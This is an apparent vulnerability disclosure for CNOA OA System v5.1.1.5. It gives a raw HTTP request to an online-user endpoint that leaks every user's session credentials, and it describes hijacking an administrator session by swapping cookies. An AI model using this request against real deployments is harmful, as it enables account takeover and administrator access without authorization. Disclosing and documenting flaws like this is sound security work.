CNOA OA Information Disclosure Vulnerability
Product
CNOA OA System v5.1.1.5
Official site
Vulnerability Detail
The program outputs all user login credential information in clear text at the function of displaying the number of online users, so that ordinary users could obtain the login credentials of any user (including administrators), and realize any user login.
Poc
First, deploy the OA platform locally, log in to the platform as a common user “test”, visit the vulnerability URL: http://10.1.39.61:81/index.php?task=getonlinecount&job=getonlinelist, and check the number of online users.
GET /index.php?task=getonlinecount&job=getonlinelist&_dc=1680253910553 HTTP/1.1
Host: 10.1.39.61:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://10.1.39.61:81/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CNOA_language=cn; CNOAOASESSID=sjivcorn9rs5nco29j6oouo8aj; CNOA_LOGIN_USERNAME=czo0OiJ0ZXN0Ijs%3D; SECKEY_ABVK=fvKxvu1Owfjyuski28xaYtJNWgLovS8q6s/cgvtIssQ%3D; BMAP_SECKEY=W24ZPI7sZJUvlpy4F-eZLidkrtIjUB58fv8OjYlaumjux1cVhti5MB7O7G0nLpGUnEx42w3z2pk5RhAjwp7jOkKxKzo-vnIpSQjDPvPUBsmlU8pMZkSdZlDmUmJ8VGsxnCT5jp3DpD5dood4rte4pXRC1lQDgBKmhebkFFobBoAaqA3gw-K9ekRiqCl5fx0x
Connection: close
It can be clearly seen that the server returns the session information of all online users (including admins), and any user can log in by using tools such as EditThisCookie to replace the corresponding login credentials.
Using the Edit This Cookie extension, replace the current user session with the administrator session: s7q3jlmvf5bs9bt8r2ik8eg92h.
共有 0 条评论